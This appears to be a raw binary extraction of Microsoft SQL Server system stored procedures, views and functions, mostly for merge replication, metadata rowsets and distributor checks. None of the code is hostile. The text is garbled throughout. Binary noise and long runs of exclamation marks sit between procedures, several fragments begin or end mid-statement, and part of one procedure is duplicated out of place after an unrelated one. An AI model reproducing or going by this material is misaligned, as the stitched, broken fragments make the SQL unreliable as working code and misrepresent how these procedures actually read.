        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_views a_v
    where
        (
            (@view_schema is null and a_v.name = @view_name) or
            object_id(quotename(@view_schema) + '.' + quotename(@view_name)) = a_v.object_id
        ) and
        has_perms_by_name(quotename(schema_name(a_v.schema_id)) + '.' + quotename(@view_name),
                          'object',
                          'select') = 1
    order by 1, 2, 3
0Fw D8Jhd4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b9^`9<b.0kX@ 8
---------------------------- sp_SetSDSPublicInterfaceObject ------------------------------
CREATE PROCEDURE sys.sp_SetSDSPublicInterfaceObject
	@object	sysname,			-- object name
	@fvisible bit = 1,			-- object visible in views, etc by default
	@owner sysname = N'sys'		-- object schema name
AS
	SET NOCOUNT ON
	SET ARITHABORT ON
	IF @@TRANCOUNT > 0 OR IS_SRVROLEMEMBER('sysadmin') = 0
		RETURN (1)

/*
	-- Mark object as cloud visible in views, etc
	DECLARE @schid int, @objid int

	SELECT @schid = CASE @owner WHEN N'sys' THEN 4
		WHEN N'INFORMATION_SCHEMA' THEN 3 END

	SELECT @objid = id FROM sys.sysschobjs
		WHERE name = @object AND nsid = @schid AND nsclass = 0

	UPDATE sys.sysobjrdb SET fcloudvisible = @fvisible
	WHERE id = -@objid

	UPDATE sys.syscolrdb SET fcloudvisible = @fvisible
	WHERE id = -@objid
*/
	-- Update status bitmask in metadata for this object indicating sds public
	EXEC %%Object( Owner = @owner, Name = @object ).SetSdsPublicSystemObject()
0.@ 8create procedure sys.sp_MSunmarkifneeded(
@object                sysname,
@pubid                uniqueidentifier,
@pre_command         int = 0,
@publisher            sysname,
@publisher_db        sysname
)AS
declare @table_in_use    int
declare @retcode         int

exec @retcode = sys.sp_MSreplcheck_subscribe
if @@error<>0 or @retcode<>0
    return (1)
        
select @table_in_use = 0
--if pre-creation_command is 'drop (1)' or 'truncate (3)', then disallow this deployment if there is already an article using that table.
--other commands like 'delete, truncate, none are fine'

if exists (select * from dbo.sysmergearticles where objid=object_id(@object) and pubid in
    (select pubid from dbo.sysmergepublications where LOWER(publisher)=LOWER(@publisher) and 
        publisher_db=@publisher_db and pubid<>@pubid))
    OR
    ((@pre_command=1 or @pre_command=3) and 
        EXISTS (select * from dbo.sysmergearticles where objid=object_id(@object) and pubid <> @pubid and pubid not in
            (select pubid from dbo.sysmergepublications where LOWER(publisher)=LOWER(publishingservername()) and publisher_db=db_name())))  
begin
    select @table_in_use = 1
    select @table_in_use
    return (0)
end
exec @retcode = sys.sp_MSunmarkreplinfo @object=@object
if @retcode <>0 or @@error<>0
    return (1)
select @table_in_use 
return (0)
0&@ 8-- @value has to be unicode too.

create procedure sys.sp_MSchange_priority (@subid uniqueidentifier, @value nvarchar(255))
as
    declare @retcode int
    exec @retcode = dbo.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1
        
    update dbo.sysmergesubscriptions set priority = convert(real, @value)
           where subid = @subid
0*@ 	8
--
-- Name:
--		sp_IHVerfiyConstraint
--
-- Description:
--		Verify constraint can be created in SQL Server
--
-- Inputs:
--		@article_id			== INPUT:	article id value
--		@constraint_name	== INPUT:	constraint name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by scripting to validate if constraint can be created
--

CREATE PROCEDURE sys.sp_IHVerifyConstraint
(
	@article_id			int,
	@constraint_name	sysname
)
AS
BEGIN
	DECLARE @columnCount int
	DECLARE @idxLength   int
	DECLARE @retcode	 int
	
	-- Init retcode
	SET @retcode = 0
	
	-- Verify column count for key within SQL limits
	SELECT	@columnCount	= COUNT(*),
			@idxLength		= SUM(ihpc.length)
	FROM	dbo.IHarticles iha WITH (INDEX( idx_IHarticles_articleid)),
			dbo.IHpublisherconstraints ihpco WITH ( INDEX( idx_IHpublisherconstraints_tableid)),
			dbo.IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubconstraintid)),
			dbo.IHpublishercolumns ihpc WITH (INDEX(idx_IHpublishercolumns_pubcolumnid))
	WHERE	ihpco.publisherconstraint_id	= ihpcc.publisherconstraint_id
	  AND	ihpc.publishercolumn_id			= ihpcc.publishercolumn_id
	  AND	iha.publisher_id				= ihpco.publisher_id
	  AND	iha.table_id					= ihpco.table_id
	  AND	ihpco.name						= @constraint_name
	  AND	iha.article_id					= @article_id
	OPTION  (LOOP JOIN, FORCE ORDER)
	
	IF @columnCount > 16
	BEGIN
		RAISERROR(21666, 10, 1, 16, @columnCount)
		SET @retcode = 1
	END
	
	IF @idxLength > 900
	BEGIN
		RAISERROR(21667, 10, 1, @constraint_name, @idxLength, 900)
		SET @retcode = 1
	END
		
	-- Verify key does not contain unique nullable column
	IF EXISTS
	(
		SELECT	ihpc.name
		FROM	dbo.IHarticles iha WITH (INDEX( idx_IHarticles_articleid)),
		        dbo.IHpublisherconstraints ihpco WITH ( INDEX( idx_IHpublisherconstraints_tableid)),
		        dbo.IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubconstraintid)),
		        dbo.IHpublishercolumns ihpc WITH (INDEX(idx_IHpublishercolumns_pubcolumnid))
		WHERE	ihpco.publisherconstraint_id	= ihpcc.publisherconstraint_id
		  AND	ihpcc.publishercolumn_id		= ihpc.publishercolumn_id
		  AND	iha.publisher_id				= ihpco.publisher_id
		  AND	iha.table_id					= ihpco.table_id
		  AND	iha.article_id					= @article_id
		  AND	ihpco.name						= @constraint_name
		  AND	ihpc.isnullable					= 1
		  AND	ihpco.type						= 'PRIMARYKEY'
	)
	BEGIN
		RAISERROR(21665, 10, 1, @constraint_name)
		SET @retcode = 1
	END

	-- Verify all columns in constraint are published
	IF EXISTS
	(
		SELECT	ihpcc.publishercolumn_id
		FROM	dbo.IHarticles iha WITH (INDEX( idx_IHarticles_articleid)),
		  		dbo.IHpublisherconstraints ihpco WITH ( INDEX( idx_IHpublisherconstraints_tableid)),
		  		dbo.IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubconstraintid))
		WHERE	ihpco.publisher_id				= iha.publisher_id
		  AND	ihpco.table_id					= iha.table_id
		  AND	ihpco.publisherconstraint_id	= ihpcc.publisherconstraint_id
		  AND	iha.article_id					= @article_id
		  AND	ihpco.name						= @constraint_name
		  AND	NOT EXISTS
		  		(
				    SELECT NULL
				    FROM   dbo.IHcolumns ih WITH (INDEX(idx_IHcolumns_articleid))
				    WHERE  ih.article_id = @article_id
				      AND  ih.publishercolumn_id = ihpcc.publishercolumn_id
				)
	)
	BEGIN
		RAISERROR(21668, 10, 1, @constraint_name)
		SET @retcode = 1
	END

	RETURN @retcode
END
@retcode = sys.sp_MSunmarkreplinfo @object=@object
if @retcode <>0 or @@error<>0
    return (1)
select @table_in_use 
return (0)
0&@ 8-- @value has to be unicode too.

create procedure sys.sp_MSchange_priority (@subid uniqueidentifier, @value nvarchar(255))
as
    declare @retcode int
    exec @retcode = dbo.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1
        
    update dbo.sysmergesubscriptions set priority = convert(real, @value)
           where subid = @subid
0"A P89
hC>DTE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	h`
<1,0rH 8 
-- add it
create view sys.dm_pdw_nodes_os_sys_info as
select *, convert(int, null) pdw_node_id from sys.dm_os_sys_info
0+H D8]2h
z!
0P 8-- Warning: Only use this function when enumerating deletes, but not changes.
-- If it was used for changes, the metadata type would falsely look like contents deferred.
-- If the download only subscriber has the row, it there also looks like contents deferred.
-- Consequently, CReplRowChange::Reconcile does nothing with that row.
create function sys.fn_MSgeneration_downloadonly(
                @generation bigint,
                @tablenick int)
        returns bigint
as
begin
    declare @gen bigint
    
    if 1 = sys.fn_MSarticle_has_downloadonly_property(@tablenick)
        set @gen= null
    else
        set @gen= coalesce(@generation, 0)

    return @gen
end
abase_name, 
        schema_name, 
        object_name, 
        statement, 
        additional_information, 
        file_name, 
        audit_file_offset,
        user_defined_event_id,
	 user_defined_information     
	FROM OpenRowSet(TABLE FN_GET_AUDIT_FILE, @file_pattern, @initial_file_name, @audit_record_offset)
0h 	8create procedure sys.sp_execresultset_nvarcharmaxrows
(
    @cmd     nvarchar(max),        -- Command that will return a resultset to concat and execute
    @debug    bit = 0                -- Display debug information and resultset query (no exec)
)
as
begin
    set nocount on

    declare    @scriptText     nvarchar(max),
        @maxIndex        bigint,
        @rowIndex        bigint

    declare @q1 nvarchar(max)

    select @q1 = N''
    select @scriptText     = N''

    -- load a local tmp table with the resultset based off of the cmd provided
    -- we also attempt to change the database context before execing the cmd
    declare @MSrepl_exec_script table (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if @@error <> 0
    begin
        goto Error
    end
    
    -- For debugging generated procs. Create the table MSmerge_debug_objects in the current database
    -- create table MSmerge_debug_objects (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if object_id('MSmerge_debug_objects', 'U') is not NULL
    begin
       insert into MSmerge_debug_objects(scriptText) exec(@cmd)
	end

    insert into @MSrepl_exec_script(scriptText) exec(@cmd)
    if @@error <> 0
    begin
        goto Error
    end
    
    -- get the max value inserted in the identity col for 
    -- @MSrepl_exec_script table and set the rowIndex = 1
    select @maxIndex = max(orderCol),
            @rowIndex = 1
        from @MSrepl_exec_script
    
    -- retrieve the current scriptText row 
    select @scriptText = isnull(scriptText, N'')
        from @MSrepl_exec_script
        where orderCol = @rowIndex

    while (@rowIndex <= @maxIndex)
    begin
       
        select @q1 = @q1 + @scriptText + N' '
            
	    -- increment the row position counter
        select @rowIndex = @rowIndex + 1

        -- retrieve the current scriptText row
        select @scriptText = isnull(scriptText, N'')
            from @MSrepl_exec_script
	        where orderCol = @rowIndex
    end
    
    if @debug = 0
    begin
        
		exec(@q1)
		if @@error <> 0
		begin
	        goto Error
	    end
	end
    else
    begin
		-- print out debug info
		
		select '@q1' = datalength(@q1)/2
		
		select @q1
    end
    
    return 0
Error:
    return 1
end
0*W 8create procedure sys.sp_MSscript_sync_upd_proc (
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
	@alter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @source_objid int
            ,@artid int
            ,@colname sysname
            ,@indid int
            ,@cmd          nvarchar(4000)
            ,@outvars      nvarchar(4000)
            ,@rc           int
            ,@error_cmd tinyint
            ,@identity_insert bit
            ,@queued_pub bit

    set nocount on
    --
    -- security check -- dbo+ to script create or alter
    --
    exec @rc = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @rc <> 0
    begin
	    return (1)
    end
    --
    -- Create temp table
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    select @queued_pub = allow_queued_tran from syspublications where name = @publication
    --
    -- proc definition
    --
    exec @rc = sys.sp_MSscript_beginproc @publication, @article, @procname, @source_objid output, @artid output, @alter
    if @@error <> 0 or @rc <> 0
        return
    --
    -- Check to see if identity insert must be turned on
    -- i.e. Does the table has identity that are included in the partition?
    --
    exec sys.sp_MSis_identity_insert @publication = @publication
            ,@article = @article
            ,@identity_insert = @identity_insert output
            ,@mode = 1
    --
    -- construct parameter list
    -- Script bitmap parameter
    --
    exec sys.sp_MSscript_params @source_objid, @artid, null, 1,  @outvars output
    insert into #proctext(procedure_text) values( N',')
    exec sys.sp_MSscript_params @source_objid, @artid, N'_old', 0, null
    insert into #proctext(procedure_text) values( N'
    ,@bitmap varbinary(4000)')
    --
    -- add other parameters and start body of proc
    --
    exec sys.sp_MSscript_procbodystart @queued_pub, @identity_insert 
    --
    -- script the security and execution mode  and subscription validation checks
    --
    exec sys.sp_MSscript_ExecutionMode_stmt @publication, @article, 2
    --
    -- Work around for case where article has 1 col that is not user-modfied (identity, timestamp)
    -- *** Do we need to check this here - 
    -- *** we should be checking this when creating subscription
    -- 
    exec @rc = sys.sp_MStable_not_modifiable @source_objid, @artid
    if @rc = 1
        select @error_cmd = 1
    else
    begin
        exec @indid = sys.sp_MStable_has_unique_index @source_objid 
        if (@outvars is not null and @indid = 0)
            -- no insert/update allowed if timestamp/identity col and no unique index
            select @error_cmd = 1
        else
            select @error_cmd = 0       
    end

    if (@error_cmd = 0)
    begin
        --
        -- script update statemnt
        --
        exec sys.sp_MSscript_update_statement @publication, @article, @source_objid, @queued_pub
        --
        -- script queued specific stuff
        --
        if (@queued_pub = 1)
        begin
            --
            -- script the conflict resolution logic common to all resolution policies
            --
            exec dbo.sp_MSscriptupdateconflictfinder @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Publisher Wins case
            --
            exec sys.sp_MSscript_update_pubwins @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Subscriber Wins case
            --
            exec sys.sp_MSscript_update_subwins @publication, @article, @source_objid, @artid, @identity_insert
        end
        --
        -- script closing 
        --
        exec sys.sp_MSscript_endproc @source_objid, 'upd', @artid, @outvars, @queued_pub, @identity_insert
    end
    else
    begin
        --
        -- Generate error command and finish
        --
        insert into #proctext(procedure_text) values( N'
    exec sys.sp_MSreplraiserror 20516
END
')
    end
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
END
!!!!!!!!!!!!!!7aaA`d<pXE06 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_column_privileges_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR,
        GRANTEE,
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        PRIVILEGE_TYPE,
        IS_GRANTABLE
    from
        sys.fn_remote_column_privileges (
                                        @table_server,
                                        @table_catalog,
                                        @table_schema,
                                        @table_name,
                                        @column_name,
                                        @grantor,
                                        @grantee)
    order by 3, 4, 5, 6, 9, 1, 2
0: 8CREATE FUNCTION sys.fn_yukonsecuritymodelrequired
(
    @username sysname
)
RETURNS bit
AS
BEGIN
    -- if the user is sysadmin then we can allow fall back to 8.0 security
    return case when (@username IS NULL) 
                    then case when (IS_SRVROLEMEMBER(N'sysadmin') = 1) then 0 else 1 end 
                    else case when (IS_SRVROLEMEMBER(N'sysadmin', @username) = 1) then 0 else 1 end 
                    end
END
03A D8-hRJ y0!C@ V8create procedure sys.sp_MSproxiedmetadatabatch
    @tablenick          int,
    @rowguid            uniqueidentifier,
    @proxied_lineage    varbinary(311),
    @proxied_colv       varbinary(2953),
    @proxy_logical_record_lineage bit,
    @compatlevel int = 10   -- backward compatibility level, default=Sphinx

as
    declare @local_lineage      varbinary(311)
    declare @local_version      int
    declare @proxied_version    int
    declare @incontents         tinyint
    declare @retcode int
    
    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    set @proxied_version = {fn GETMAXVERSION(@proxied_lineage)}

    if (@proxy_logical_record_lineage = 0)
        select @local_lineage = lineage from dbo.MSmerge_contents
            where tablenick = @tablenick and rowguid = @rowguid
    else
        select @local_lineage = logical_record_lineage from dbo.MSmerge_contents
            where tablenick = @tablenick and rowguid = @rowguid

    if @local_lineage is not null
        set @incontents= 1
    else
    begin
    
        -- cannot proxy if logical record parent row is no longer in contents.
        --if (@proxy_logical_record_lineage = 1)
        --    return (0)
            
        if (@proxy_logical_record_lineage = 0)
            select @local_lineage = lineage from dbo.MSmerge_tombstone
                where tablenick = @tablenick and rowguid = @rowguid
        else
            select @local_lineage = logical_record_lineage from dbo.MSmerge_tombstone
                where tablenick = @tablenick and rowguid = @rowguid

        if @local_lineage is not null
            set @incontents= 0
        else
            return(0)
    end

    set @local_version= {fn GETMAXVERSION(@local_lineage)}

    -- make sure that local lineage was not updated since the publisher proxied its last change
    -- if it was updated, we leave it unchanged
    if @local_version <= @proxied_version
    begin
        if @compatlevel < 90
        begin
            if @proxied_lineage is not null
                set @proxied_lineage= {fn LINEAGE_80_TO_90(@proxied_lineage)}
            if @proxied_colv is not null and @proxy_logical_record_lineage = 0
                set @proxied_colv= {fn COLV_80_TO_90(@proxied_colv)}
        end
        
        if @incontents = 1
        begin
            if (@proxy_logical_record_lineage = 0)
                update dbo.MSmerge_contents with (rowlock) set lineage = @proxied_lineage, colv1 = @proxied_colv
                    where tablenick = @tablenick and rowguid = @rowguid and
                    -- lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    lineage = @local_lineage 
            else
                update dbo.MSmerge_contents with (rowlock) set logical_record_lineage = @proxied_lineage
                    where tablenick = @tablenick and rowguid = @rowguid and
                    -- logical_record_lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    logical_record_lineage = @local_lineage 
        end
        else
        begin
            if (@proxy_logical_record_lineage = 0)
                update dbo.MSmerge_tombstone with (rowlock) set lineage = @proxied_lineage
                    where tablenick = @tablenick and rowguid = @rowguid and
                        -- lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                        lineage = @local_lineage 
            else        
                update dbo.MSmerge_tombstone with (rowlock) set logical_record_lineage = @proxied_lineage
                where tablenick = @tablenick and rowguid = @rowguid and
                    -- logical_record_lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    logical_record_lineage = @local_lineage 
        end
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<#Fq00f,w 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_columns_rowset;2
(
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_28, -- for backward compatibility
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_28, -- for backward compatibility
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_28,  -- for backward compatibility
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_28,    -- for backward compatibility
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_28,     -- for backward compatibility
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_28,      -- for backward compatibility
        COLLATION_NAME          = s_cv.COLLATION_NAME_28,        -- for backward compatibility
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0f,w 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_columns_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @column_name        sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        ORDINAL_POSITION,
        COLUMN_HASDEFAULT,
        COLUMN_DEFAULT,
        COLUMN_FLAGS,
        IS_NULLABLE,
        DATA_TYPE,
        TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION,
        NUMERIC_SCALE,
        DATETIME_PRECISION,
        CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME,
        COLLATION_CATALOG,
        COLLATION_SCHEMA,
        COLLATION_NAME,
        DOMAIN_CATALOG,
        DOMAIN_SCHEMA,
        DOMAIN_NAME,
        DESCRIPTION,
        -- ISSUE - These columns are not exposed by engine.
        -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
        COLUMN_LCID = null,     -- ISSUE these columns must be exported by the server
        COLUMN_COMPFLAGS = null,-- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        COLUMN_SORTID = null,   -- const SCHEMA_COLUMNS xCol_COLUMNS = {
        COLUMN_TDSCOLLATION = null,
        IS_COMPUTED = null
    from
        sys.fn_remote_columns (@table_server, @table_catalog, @table_schema, @table_name, @column_name)
    order by 1, 2, 3, 7
0{@ 8--
-- Name: sp_hadr_verify_publisher_at_distributor
--
-- Descriptions: Verify that the publisher is known at the 
--               local distributor. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--          On failure, temporary linked server is dropped.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_verify_publisher_at_distributor
(
    @publisher sysname,
    @pubdbname sysname,
    @publisher_linked_server sysname,
	@drop_linked_server bit = 1
)
as
begin

    set nocount on

    declare @name sysname,
        @distributiondb sysname,
        @servername sysname,
        @dbname sysname
    
    set @servername = @@servername
    set @dbname = db_name()
    set @distributiondb = null 
    set @name = null

	select @name = name, @distributiondb = distribution_db
    from msdb.dbo.MSdistpublishers
    where upper(@publisher) = upper(name)
    and N'MSSQLSERVER' = upper(publisher_type)
	
	-- If null was returned from querying MSdistpublishers the
	-- local distributor is not the distributor for the remote server.
	--
	if @name is null
    begin
		if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
        raiserror(21891, 16, -1, @publisher, @servername, @servername, @servername, @pubdbname)
        return 1
    end
    
    -- If the distribution database used by the remote publisher is not the current
    -- database, the remote publisher is not a suitable publisher for the publishing
    -- database.
    --
    if rtrim(@distributiondb) <> @dbname
    begin
        if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
        raiserror(21898, 16, -1, @publisher, @distributiondb, @dbname, @pubdbname, @servername, @dbname)
        return 1
    end
    
	return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!z`<>(0@ y8 
-- add it
create view sys.dm_pdw_os_threads as
select
	pdw_node_id,
	thread_id,
	process_id,
	name	collate database_default name,
	priority,
	start_time,
	state	collate database_default state,
	wait_reason	collate database_default wait_reason,
	total_processor_elapsed_time,
	total_user_elapsed_time
from sys._dm_pdw_os_threads
0u 
